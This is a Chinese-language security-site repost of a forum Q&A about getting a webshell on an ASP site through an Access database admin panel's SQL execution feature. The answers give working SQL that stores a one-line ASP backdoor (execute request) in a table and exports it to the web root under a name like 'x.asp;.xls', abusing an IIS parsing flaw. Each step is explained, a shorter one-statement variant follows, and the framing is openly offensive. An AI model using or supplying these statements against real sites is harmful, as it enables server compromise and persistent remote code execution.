微慑信息网

[ASP] ACCESS数据库后台sql语句执行导shell

问:
一个垃圾论坛,access数据库,无其他可利用之处,不过有个sql语句执行功能,绝对路径也知道,小弟对sql语句不懂,记得如果是mysql数据库root权限可以导出SHELL,这个是否也能导出shell呢?需要什么条件,语句又是什么?网上翻不到资料。麻烦各位。
答:
create table cmd (a varchar(50))
insert into cmd (a) values (<%execute request("a")%>)
select * into [a] in f:hostqhdyxtweba.asp;.xls excel 4.0; from cmd
drop table cmd
解释如下:
1.create table a (a varchar(50)) 建立一个有一个A字段的表 表名为a 字段类型为字符 长度为50
2.insert into a (a) values (<%execute request("a")%>) 在表a的a字段插入密码为a的一句话木马
3.select * into [a] in F:jtworka.asp;.xls excel 4.0; from a 把表a的内容导出为物理路径的一个
EXCEL文件,为什么用excel文件,因为ACCESS数据库不允许导出其他危险格式。我们导出为EXCEL后在利用IIS解析漏洞就可以变成我们的小马了。很*的说~~
4.drop table a 丢家伙闪人 射完就走!
小弟的提问,没两分钟大家就回答了,强烈顶t00ls牛淫。
这个更简单:
Access利用后台SQL执行命令功能导出WebShell:
Select <%execute request("a")%> into [vote] in d:webx.asp;.xls excel 8.0; from vote
后台提供SQL执行功能且知道绝对路径方可使用(vote为已知表段)

赞(0) 打赏
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » [ASP] ACCESS数据库后台sql语句执行导shell

评论 抢沙发

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫

微信扫一扫

登录

找回密码

注册